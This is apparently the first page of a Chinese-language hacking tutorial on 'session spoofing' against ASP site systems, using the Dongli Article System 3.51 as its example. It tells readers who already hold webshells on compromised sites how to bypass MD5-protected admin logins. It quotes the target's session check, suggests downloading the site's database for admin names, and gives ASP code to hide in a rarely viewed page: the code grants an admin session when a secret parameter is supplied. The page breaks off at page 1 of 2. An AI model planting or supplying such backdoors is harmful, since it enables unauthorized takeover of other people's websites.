程序|木马
前段时间泛滥成灾的动网论坛上传漏洞以及最近接二连三的各种asp系统暴露的上传漏洞,可能很多朋友手中有了很多webshell的肉鸡,至于选择怎么样这些小鸡的方式也是因人而异,有人继续提升权限,进一步入侵,也有人只是看看,马儿放上去了过了就忘记了,也有一些朋友,当webshell的新鲜劲儿过去了后台的神秘感和诱惑力也就大大增加。
其实,对很多功能强大的系统而言,拿到后台也就是拿到了一个好的后门了,但是现在比较新的版本的很多asp系统密码都是MD5加密然后配合严格的验证程序来验证的,但是我们就没有办法突破这些限制了吗?no!我今天就是要说怎么突破这些限制让我们直奔后台,有马儿厩是好办事,follow me............
session欺骗篇
首先简单说一下一般asp系统的身份验证原理。 一般来说,后台管理员在登录页面输入账号密码后,程序会拿着他提交的用户名密码去数据库的管理员表里面找,如果有这个人的账号密码就认为你是管理员,然后给你一个表示你身份的session值。或者程序先把你的用户名密码提取出来,然后到数据库的管理员表里面取出管理员的账号密码来和你提交的相比较,如果相等,就跟上面一样给你个表示你身份的sesion值。然后你进入任何一个管理页面它都要首先验证你的session值,如果是管理员就让你通过,不是的话就引导你回到登录页面或者出现一些奇奇怪怪的警告,这些都跟程序员的个人喜好有关。
知道了原理,我们现在的一个思路就是通过我们的asp木马来修改它的程序然后拿到一个管理员session,这样的话尽管我们没有管理员密码,但是我们一样在后台通行无阻了。我把这种方法称为session欺骗。限于篇幅不能每个系统都能详细说明,本文仅以动力文章系统为例来说明。
动力文章系统3.51,(图一)
图一 其实动力文章系统的所有版本全部通杀,包括动易。大家可以自己实践一下。
我们先来看一下它的验证内容。动力文章3.51的验证页面在Admin_ChkLogin.asp,其验证内容如下:
............
else
rs("LastLoginIP")=Request.ServerVariables("REMOTE_ADDR")
rs("LastLoginTime")=now()
rs("LoginTimes")=rs("LoginTimes")+1
rs.update
session.Timeout=SessionTimeout
session("AdminName")=rs("username")
rs.close
set rs=nothing
call CloseConn()
Response.Redirect "Admin_Index.asp"
前面省略号是用户名密码不正确的验证,直到else,看一下,如果用户名密码正确就给你两个session值:
session.Timeout=SessionTimeout
session("AdminName")=rs("username")
我们在看一下其他管理页面是怎么验证session的,admin_index.asp一开始就这样:
看起来似乎很严密,但是我们看一下,它这里值验证一个AdminName的session,只要我们的session内容是AdminName的话不就可以通过了?好,我们开工,先去弄到它的管理员账号再说,这个不要我教你了吧?到他网站逛一下或者直接一点下载它的数据库来看都可以知道。我们找个页面来改一下,我找一个比较没人而内容较多的页面FriendSite.asp(友情链接页面)来改,呵呵,这样管理员也很难查得出来啊。用asp木马的编辑功能来编辑一下它的内容。在他页面下隐蔽处加上下面几句话:
dim id
id=trim(request("qwe"))
if id="120" then
session("AdminName")="admin" ‘这里是假设的,实际操作中可以改成你想要得管理员账号
end if
[1] [2] 下一页